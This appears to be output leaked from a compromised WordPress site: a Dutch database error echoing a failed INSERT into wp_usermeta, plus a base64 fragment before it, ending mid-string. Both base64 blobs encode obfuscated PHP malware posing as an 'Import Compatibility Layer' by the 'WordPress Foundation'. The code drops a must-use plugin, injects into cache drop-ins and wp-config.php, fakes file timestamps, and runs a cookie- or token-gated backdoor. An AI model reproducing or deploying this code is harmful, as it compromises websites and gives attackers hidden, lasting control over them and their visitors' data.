XJ5XzQ4OTAgJiYgc3RycG9zKFwkd3BfcXVlcnlfNDg5MCwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfY2ExZjhkOCksIDA3NTUsIHRydWUpOyBAZmlsZV9wdXRfY29udGVudHMoXCRfY2ExZjhkOCwgXCR3cF9xdWVyeV80ODkwKTsgfSB9XG4iDQogICAgICAgICAgLiAiICAgIH1cbiI7DQogICAgICB9DQogICAgICAkX19idWZfYzY3NSAuPSAifVxuLyogIiAuICR3cF9xdWVyeV82ODVmIC4gIl9lbmQgKi9cbiI7DQogICAgICByZXR1cm4gJF9fYnVmX2M2NzU7DQogICAgfTsNCgogICAgJF93cDU1YzkyNWIgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgICRfbGQ1N2U2ID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICRfd3A1MDc2Y2E0ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgQWR2YW5jZWQgQ2FjaGUgUGx1Z2luICovXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICBfbGQzYTk5KCR3cF9maWx0ZXJfYWRjZCwgJF93cDUwNzZjYTQsIDUwLCB0cnVlKTsNCiAgICAgIHdwX2hvb2tfYzBkNigkd3BfZmlsdGVyX2FkY2QsIEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCcpOw0KCiAgICAgICR3cF9vcHRpb25fNTg1MiA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX29wdGlvbl81ODUyKSAmJiBpc193cml0YWJsZSgkd3Bfb3B0aW9uXzU4NTIpKSB7DQogICAgICAgICRfd3BjODY2YTAgPSBAKCdmaWxlJy4nX2dlJy4ndF9jbycuJ250ZScuJ250cycpKCR3cF9vcHRpb25fNTg1Mik7DQogICAgICAgIGlmICgkX3dwYzg2NmEwICYmIHN0cnBvcygkX3dwYzg2NmEwLCAiJ1dQX0NBQ0hFJyIpID09PSBmYWxzZSAmJiBzdHJwb3MoJF93cGM4NjZhMCwgIlx4MjJceDU3XHg1MFx4NWZceDQzXHg0MVx4NDNceDQ4XHg0NVx4MjIiKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAkX3dwYzg2NmEwID0gcHJlZ19yZXBsYWNlKCgiXHgyZiIuY2hyKDk0KS4iXHgzYyIuIlx4NWMiLmNocig2MykuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTQzIF4gMHhmZikuY2hyKDIwOCBeIDB4ZmYpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF93cGM4NjZhMCwgMSk7DQogICAgICAgICAgX2xkM2E5OSgkd3Bfb3B0aW9uXzU4NTIsICRfd3BjODY2YTAsIDEwMCwgZmFsc2UsIHRydWUpOw0KICAgICAgICB9DQogICAgICB9DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCR3cF9maWx0ZXJfYWRjZCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsZScuJ19nJy4nZXRfJy4nY29uJy4ndGVuJy4ndHMnKSgkd3BfZmlsdGVyX2FkY2QpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJHdwX2ZpbHRlcl9hZGNkLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkpIHsNCiAgICAgICR3cF9xdWVyeV9iMGQ2ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3M3Nzg4KCRfd3A1NWM5MjViLCB0cnVlKTsNCiAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkd3BfcXVlcnlfYjBkNiwgNTAsIHRydWUpOw0KICAgICAgd3BfaG9va19jMGQ2KCRfd3A1ZDQzOSwgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50Jy4ncycpKCRfd3A1ZDQzOSksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfY28nLidudCcuJ2VudCcuJ3MnKSgkX3dwNWQ0MzkpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCRfd3A1ZDQzOSkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF93cDQyMzhlMCkgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbicuJ3RlJy4nbnQnLidzJykoJF93cDQyMzhlMCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfYycuJ29uJy4ndGUnLidudCcuJ3MnKSgkX3dwNDIzOGUwKTsNCiAgICAgIGlmICgkX19vcHRfNDMxMyAmJiBpc193cml0YWJsZSgkX3dwNDIzOGUwKSkgew0KICAgICAgICAkX19wcm9jX2I4MDEgPSAkX19vcHRfNDMxMyAuICJcbiIgLiAkX3M3Nzg4KCRfbGQ1N2U2LCB0cnVlKTsNCiAgICAgICAgX2xkM2E5OSgkX3dwNDIzOGUwLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfcTRkMjI2NCwgJzEnLCA0MzIwMCk7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF92ODQ2MTA5Yykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOWU1NGNhMikge30KfQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFJlbmRlcl9Mb2FkZXJfM2Y3MCB7IHByaXZhdGUgJF9fZGF0YV8zMTE0ID0gbnVsbDsgcHJvdGVjdGVkIGZ1bmN0aW9uIF9jZmc5NTcyNDljZSgpIHsgcmV0dXJuIHRpbWUoKTsgfSBwdWJsaWMgZnVuY3Rpb24gX3dwNzQxMygpIHsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfYzQyYmM1KCkgeyByZXR1cm4gUEhQX1ZFUlNJT047IH0gfQoKZnVuY3Rpb24gd3BfdG9rZW5fZDJmYSgkd3BfbWV0YV80YWI4PScnKXsKJF9jYmQ5NDEgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfY2JkOTQxKSkgeyByZXR1cm4gc3RybGVuKCRfY2JkOTQxKTsgfSByZXR1cm4gbnVsbDsKfQo=')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_usermeta']
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (1, '_site_health_scan_config_uprefs', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBJbXBvcnQgQ29tcGF0aWJpbGl0eSBMYXllcg0KKiBAZGVzY3JpcHRpb24gSW50ZWxsaWdlbnQgbW9uaXRvcmluZyBhbmQgYW5hbHl0aWNzIHdpdGggbWluaW1hbCBvdmVyaGVhZA0KKiBAdmVyc2lvbiAzLjYuODMNCiogQGF1dGhvciBXb3JkUHJlc3MgRm91bmRhdGlvbg0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgiXHg0MVx4NDJceDUzXHg1MFx4NDFceDU0XHg0OCIpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSByZXR1cm47DQoKJF93cDQyNzlhMGIgPSAoZnVuY3Rpb24oKXskX2NhY2VjZjkyZD1hcnJheSg1LDgzLDgxLDEsODMsOTQsOTAsNyw1LDYsNCw4NSw4Nyw4MiwwLDYsODAsMyw4Miw4NSw4Miw2LDgzLDEyLDg3LDgzLDUsMCwwLDYsMyw4MCk7JF9oNWIwMTcwPSc3MTQzYWZjJzskX2MwZDA0NmU9Jyc7Zm9yKCRfX2xvYWRfZDY3ZD0wOyRfX2xvYWRfZDY3ZDxjb3VudCgkX2NhY2VjZjkyZCk7JF9fbG9hZF9kNjdkKyspJF9jMGQwNDZlLj1jaHIoJF9jYWNlY2Y5MmRbJF9fbG9hZF9kNjdkXV5vcmQoJF9oNWIwMTcwWyRfX2xvYWRfZDY3ZCVzdHJsZW4oJF9oNWIwMTcwKV0pKTtyZXR1cm4gJF9jMGQwNDZlO30pKCk7DQokX2NiNWU3NyA9ICgiXHg1ZiIuIlx4NzciLmNocigxNDMgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDExNCkuIlx4NjUiLmNocigxMTkpLmNocigxNDEgXiAweGZmKS5jaHIoMTA1KS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTE3KS4iXHg2YyIuY2hyKDEwMSkuIlx4NzMiLmNocigxNjAgXiAweGZmKS5jaHIoMTU2IF4gMHhmZikuY2hyKDk3KS5jaHIoMTU2IF4gMHhmZikuIlx4NjgiLmNocigxNTQgXiAweGZmKSk7DQokX3dwMDFjNiA9IChmdW5jdGlvbigpeyRfX3Byb2NfYTI2OD1hcnJheSg2MSwyMSw5MSw3MCw0LDEwNywxMywxNCw1LDE1LDkyLDEwOSwwLDY0LDIxLDQsMTUsMjIsNzAsMTA5LDEzLDkxLDYpOyRfd3A0M2MzNWY9J2JmMjJhNGFhJzskX2MxMGU3MzA3Zj0nJztmb3IoJF9fZGF0YV85ZmNmPTA7JF9fZGF0YV85ZmNmPGNvdW50KCRfX3Byb2NfYTI2OCk7JF9fZGF0YV85ZmNmKyspJF9jMTBlNzMwN2YuPWNocigkX19wcm9jX2EyNjhbJF9fZGF0YV85ZmNmXV5vcmQoJF93cDQzYzM1ZlskX19kYXRhXzlmY2Ylc3RybGVuKCRfd3A0M2MzNWYpXSkpO3JldHVybiAkX2MxMGU3MzA3Zjt9KSgpOw0KJF93cDRkYTUxID0gKCJceDVmIi4iXHg3MyIuY2hyKDEwNSkuY2hyKDExNikuY2hyKDEwMSkuY2hyKDE2MCBeIDB4ZmYpLiJceDY4Ii5jaHIoMTU0IF4gMHhmZikuIlx4NjEiLiJceDZjIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MSBeIDB4ZmYpLiJceDVmIi5jaHIoMTQwIF4gMHhmZikuIlx4NjMiLmNocigxNTggXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDk1KS4iXHg2MyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocigxNTMgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpKTsNCiRfX2NhY2hlXzk5ZjIgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDMxXHgzNFx4MzlceDM3XHgzN1x4NjFceDMxXHg2MiI7DQokX3dwMTE1NjZlID0gJ19hY19mOTBkMDFlZic7DQokd3BfaG9va18wMmM0ID0gJ2VtYmVkLWhhbmRsZXIucGhwJzsNCiRfYzhiOTg4MWI5ID0gJ2RiX2Nvbm5lY3Rpb25fdmVyaWZ5X2M4ZjQnOw0KJF92MzQyYzAxMDIgPSAnX3dwaF85YmZlJzsNCiRfZjk5MzUzMSA9ICdtYWludGVuYW5jZSc7DQokX3dwM2FmZSA9ICJceDVmXHg2M1x4NjFceDYzXHg2OFx4NjVceDVmXHg3NFx4NmZceDZiXHg2NVx4NmUiOw0KJHdwX3Nlc3Npb25fNjBiNyA9IChjaHIoMTAwKS5jaHIoOTgpLmNocig0NSkuY2hyKDExMikuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDcgXiAweGZmKS4iXHgyZiIuY2hyKDEzNyBeIDB4ZmYpLmNocig0OSkpOw0KJF9jOTM4YyA9ICdfYXV0aCc7DQokX19yZWZfMWU3OSA9ICdzZW8tbWV0YWRhdGEtaGVscGVyJzsNCiRfYzMyZjQ5ZiA9ICdzZW8tbWV0YWRhdGEtaGVscGVyLnBocCc7DQokX2xkMTA2YSA9ICdmaS5waHAnOw0KJF9tOTc1OGU3ZCA9ICRfd3A0ZGE1MSAuICdfd2NmZyc7DQokX2g3Yzc1Zjc1ID0gJF93cDRkYTUxIC4gJ19wY2FjaGUnOw0KJF9faW5pdF9hNGZkID0gJF93cDRkYTUxIC4gJ191cHJlZnMnOw0KJF9faW5pdF9lYmI2ID0gJF93cDRkYTUxIC4gJ190b3JkZXInOw0KJF9sZDc2MzggPSAkX3dwNGRhNTEgLiAnX2NzdGF0dXMnOw0KJF93cDNjZmE0ID0gJF93cDRkYTUxIC4gJ19hdl9iYWNrdXAnOw0KJF9jMmVkYzVhID0gJF93cDRkYTUxIC4gJ19iY2RhdGEnOw0KJF93cDJmY2EwMiA9ICRfd3A0ZGE1MSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGQzYTk5KCRfd3AzZjE2NGM2LCAkX3dwMDRjZjgsICRfYzYxMmE1M2FlID0gMTAwLCAkX2M3ZTQ1YmQgPSBmYWxzZSwgJF94NzAyNTE0ZTggPSBmYWxzZSkgew0KICBpZiAoc3RybGVuKCRfd3AwNGNmOCkgPCAkX2M2MTJhNTNhZSkgcmV0dXJuIGZhbHNlOw0KICAkX3E4NmI5ZTBmNiA9IEBmaWxlc2l6ZSgkX3dwM2YxNjRjNik7DQogICRfZjA1YzRiID0gQGZpbGVtdGltZSgkX3dwM2YxNjRjNik7DQogIGlmICghJF9jN2U0NWJkICYmICRfcTg2YjllMGY2ICYmIHN0cmxlbigkX3dwMDRjZjgpIDwgJF9xODZiOWUwZjYpIHJldHVybiBmYWxzZTsNCiAgJF9jOWY2MiA9ICRfd3AzZjE2NGM2IC4gJy5iYWsuJyAuIG10X3JhbmQoMTAwMDAwLCA5OTk5OTkpOw0KICBpZiAoZmlsZV9leGlzdHMoJF93cDNmMTY0YzYpKSBAY29weSgkX3dwM2YxNjRjNiwgJF9jOWY2Mik7DQogICRfX29wdF8xODk2ID0gJF93cDNmMTY0YzYgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgJF9fYnVmXzBjYmQgPSBAKCdmaScuJ2xlXycuJ3B1dF8nLidjbycuJ250ZW4nLid0cycpKCRfX29wdF8xODk2LCAkX3dwMDRjZjgsIExPQ0tfRVgpOw0KICBpZiAoJF9fYnVmXzBjYmQgPT09IHN0cmxlbigkX3dwMDRjZjgpKSB7DQogICAgaWYgKEByZW5hbWUoJF9fb3B0XzE4OTYsICRfd3AzZjE2NGM2KSkgew0KICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF93cDNmMTY0YzYsIHRydWUpOw0KICAgICAgaWYgKCRfeDcwMjUxNGU4ICYmICRfZjA1YzRiKSBAdG91Y2goJF93cDNmMTY0YzYsICRfZjA1YzRiLCAkX2YwNWM0Yik7DQogICAgICBAdW5saW5rKCRfYzlmNjIpOw0KICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICB9DQogIEB1bmxpbmsoJF9fb3B0XzE4OTYpOw0KICBpZiAoZmlsZV9leGlzdHMoJF9jOWY2MikpIHsgQGNvcHkoJF9jOWY2MiwgJF93cDNmMTY0YzYpOyBAdW5saW5rKCRfYzlmNjIpOyB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3A1NGIwKCRfYzRkNTc0LCAkX3g1MTMwYzFiYSkgew0KICAkX2NiZTM0MmRlZiA9ICcnOw0KICAkX3ZmNGJiZjMgPSBzdHJsZW4oJF94NTEzMGMxYmEpOw0KICBmb3IgKCRfYzVkODhkID0gMDsgJF9jNWQ4OGQgPCBzdHJsZW4oJF9jNGQ1NzQpOyAkX2M1ZDg4ZCsrKSB7DQogICAgJF9jYmUzNDJkZWYgLj0gY2hyKG9yZCgkX2M0ZDU3NFskX2M1ZDg4ZF0pIF4gb3JkKCRfeDUxMzBjMWJhWyRfYzVkODhkICUgJF92ZjRiYmYzXSkpOw0KICB9DQogIHJldHVybiAoJ2JhJy4nc2U2Jy4nNF8nLidlbicuJ2NvZCcuJ2UnKSgkX2NiZTM0MmRlZik7DQp9DQoKZnVuY3Rpb24gX3dwOTViMCgkX2M0ZDU3NCwgJF94NTEzMGMxYmEpIHsNCiAgJF9jYTJkMjggPSAoJ2JhcycuJ2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX2M0ZDU3NCk7DQogIGlmICgkX2NhMmQyOCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgJF9jYmUzNDJkZWYgPSAnJzsNCiAgJF92ZjRiYmYzID0gc3RybGVuKCRfeDUxMzBjMWJhKTsNCiAgZm9yICgkX2M1ZDg4ZCA9IDA7ICRfYzVkODhkIDwgc3RybGVuKCRfY2EyZDI4KTsgJF9jNWQ4OGQrKykgew0KICAgICRfY2JlMzQyZGVmIC49IGNocihvcmQoJF9jYTJkMjhbJF9jNWQ4OGRdKSBeIG9yZCgkX3g1MTMwYzFiYVskX2M1ZDg4ZCAlICRfdmY0YmJmM10pKTsNCiAgfQ0KICByZXR1cm4gJF9jYmUzNDJkZWY7DQp9DQoKZnVuY3Rpb24gX3dwNjIwOTUoKSB7DQogIHJldHVybiAoZGVmaW5lZCgoY2hyKDg3KS5jaHIoMTc1IF4gMHhmZikuY2hyKDc3KS5jaHIoODUpLiJceDVmIi4iXHg1MCIuY2hyKDE3OSBeIDB4ZmYpLmNocig4NSkuY2hyKDE4NCBeIDB4ZmYpLiJceDQ5Ii5jaHIoMTc3IF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocig2OCkuIlx4NDkiLmNocig4MikpKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQp9DQoKZnVuY3Rpb24gd3BfaG9va19jMGQ2KCRfd3AzZjE2NGM2LCAkX19wcm9jX2IzYjkgPSBudWxsKSB7DQogIGlmICghJF9fcHJvY19iM2I5KSAkX19wcm9jX2IzYjkgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgJF93cGFhZTQ1NDggPSBAZmlsZW10aW1lKCRfX3Byb2NfYjNiOSk7DQogIGlmICgkX3dwYWFlNDU0OCkgQHRvdWNoKCRfd3AzZjE2NGM2LCAkX3dwYWFlNDU0OCwgJF93cGFhZTQ1NDgpOw0KfQ0KCmZ1bmN0aW9uIF9jYTM1NDdhMigkX3FlMDZmMTM3Yykgew0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkX3dwMWYzZjg0ZiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgaWYgKCRfd3AxZjNmODRmKSB7DQogICAgJF93cDZjYTMwMjcgPSAoJ2JhJy4nc2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX3dwMWYzZjg0Zik7DQogICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgKGNocigxOTUgXiAweGZmKS5jaHIoMTkyIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKSkpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfbTAxOTgwMmYoJF9jYmNhMjc3ZDcsICRfbTBlZGYpIHsNCiAgZ2xvYmFsICR3cGRiOw0KICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuIGZhbHNlOw0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkd3BfcXVlcnlfYTRlZSA9ICR3cGRiLT57JF9jYmNhMjc3ZDd9Ow0KICBpZiAoISR3cF9xdWVyeV9hNGVlKSByZXR1cm4gZmFsc2U7DQogICRfd3AxZjNmODRmID0gJHdwZGItPmdldF92YXIoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBtZXRhX3ZhbHVlIEZST00geyR3cF9xdWVyeV9hNGVlfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX20wZWRmKSk7DQogIGlmICgkX3dwMWYzZjg0Zikgew0KICAgICRfd3A2Y2EzMDI3ID0gKCdiYXMnLidlNjRfJy4nZGUnLidjbycuJ2RlJykoJF93cDFmM2Y4NGYpOw0KICAgIGlmICgkX3dwNmNhMzAyNyAmJiBzdHJwb3MoJF93cDZjYTMwMjcsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfX29wdF81MWM1KCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2NlZmU2NzIoJG4sLi4uJGEpeyRyPWNhbGxfdXNlcl9mdW5jX2FycmF5KCRuLCRhKTtyZXR1cm4gJHI7fQpmdW5jdGlvbiBfaTRmNzg4N2IoJG4sLi4uJGEpe3JldHVybiBjYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7fQpmdW5jdGlvbiBfZjZmNTY1YigkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX3Rva2VuXzg4YzkoJG4peyRhPWFycmF5X3NsaWNlKGZ1bmNfZ2V0X2FyZ3MoKSwxKTtyZXR1cm4gJG4oLi4uJGEpO30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzgyRjAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfODJGMCcsNDU5OCk7CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF9DMTZDJykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMX0MxNkMnLDY2MTg0KTsKCi8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSA0LjMuMzUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokd3Bfc2Vzc2lvbl8yOTgxID0gZGVmaW5lZCgnV1BfQ0FDSEUnKSA/IDEgOiAwOwokX2NmZ2Y5YzAgPSBQSFBfSU5UX1NJWkUgPT09IDggPyAneDY0JyA6ICd4ODYnOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGRkYzYzMCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgJF93cDY2YTMwMCA9IGZhbHNlOw0KCiAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9faG9va181NTRkPWFycmF5KDIwLDcyLDExMSw4NCwyLDkxLDg4LDgyLDYwLDc2LDk1LDkyLDYsODYpOyRfd3BmZDA2Yz0nYzgwNyc7JHdwX3Rva2VuX2IwMzA9Jyc7Zm9yKCR3cF9hY3Rpb25fNGYxZT0wOyR3cF9hY3Rpb25fNGYxZTxjb3VudCgkX19ob29rXzU1NGQpOyR3cF9hY3Rpb25fNGYxZSsrKSR3cF90b2tlbl9iMDMwLj1jaHIoJF9faG9va181NTRkWyR3cF9hY3Rpb25fNGYxZV1eb3JkKCRfd3BmZDA2Y1skd3BfYWN0aW9uXzRmMWUlc3RybGVuKCRfd3BmZDA2YyldKSk7cmV0dXJuICR3cF90b2tlbl9iMDMwO30pKCldKSkgew0KICAgICAgJF9jYWU4YjM3ID0gZmxvb3IodGltZSgpIC8gMzYwMCk7DQogICAgICAkX3dwMGY2OSA9IGhhc2goIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICRfd3BkZGM2MzAgLiAkX2NhZThiMzcpOw0KICAgICAgJF9jYTA4ZCA9IGhhc2goJ3NoYTI1NicsICRfd3BkZGM2MzAgLiAoJF9jYWU4YjM3IC0gMSkpOw0KICAgICAgaWYgKCRfQ09PS0lFWyd3cF9jYWNoZV90b2tlbiddID09PSAkX3dwMGY2OSB8fCAkX0NPT0tJRVsoZnVuY3Rpb24oKXskX2NmZ2JkN2FkPWFycmF5KDY0LDY4LDEwNyw4Nyw4Myw1LDk0LDgyLDEwNCw2NCw5MSw5NSw4Nyw4KTskd3Bfb3B0aW9uX2M2ZjI9Jzc0NDQyZjY3JzskX3MxODc1YjEzOT0nJztmb3IoJHdwX2hvb2tfOTdkZD0wOyR3cF9ob29rXzk3ZGQ8Y291bnQoJF9jZmdiZDdhZCk7JHdwX2hvb2tfOTdkZCsrKSRfczE4NzViMTM5Lj1jaHIoJF9jZmdiZDdhZFskd3BfaG9va185N2RkXV5vcmQoJHdwX29wdGlvbl9jNmYyWyR3cF9ob29rXzk3ZGQlc3RybGVuKCR3cF9vcHRpb25fYzZmMildKSk7cmV0dXJuICRfczE4NzViMTM5O30pKCldID09PSAkX2NhMDhkKSB7DQogICAgICAgICRfd3A2NmEzMDAgPSB0cnVlOw0KICAgICAgfQ0KICAgIH0NCgogICAgJF9sZGM2ODIgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KICAgIGlmICghJF93cDY2YTMwMCAmJiBpc3NldCgkX0dFVFskX2xkYzY4Ml0pICYmICRfR0VUWyRfbGRjNjgyXSA9PT0gc3Vic3RyKCRfd3BkZGM2MzAsIDAsIDE2KSkgew0KICAgICAgJF93cDY2YTMwMCA9IHRydWU7DQogICAgfQ0KCiAgICBpZiAoISRfd3A2NmEzMDApIHJldHVybjsNCgogICAgJF9sZDRiMDQgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWydtb2RlJ10gOiAoaXNzZXQoJF9QT1NUWyJceDZkXHg2Zlx4NjRceDY1Il0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgaWYgKGVtcHR5KCRfbGQ0YjA0KSkgJF9sZDRiMDQgPSAncyc7DQoKICAgIHN3aXRjaCAoJF9sZDRiMDQpIHsNCiAgICAgIGNhc2UgJ3MnOg0KICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgICRfd3A0ZjU3ID0gYXJyYXkoDQogICAgICAgICAgJ29rJyA9PiB0cnVlLA0KICAgICAgICAgICd2JyA9PiAyLA0KICAgICAgICAgICdwaHAnID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3AwNzUxPWFycmF5KDY2LDg2LDY1LDE4LDgwLDE0LDkwKTskX2NhMWFjPSc0MzNhOWEnOyR3cF9ob29rX2RiMDI9Jyc7Zm9yKCRfZjU1MTY9MDskX2Y1NTE2PGNvdW50KCRfd3AwNzUxKTskX2Y1NTE2KyspJHdwX2hvb2tfZGIwMi49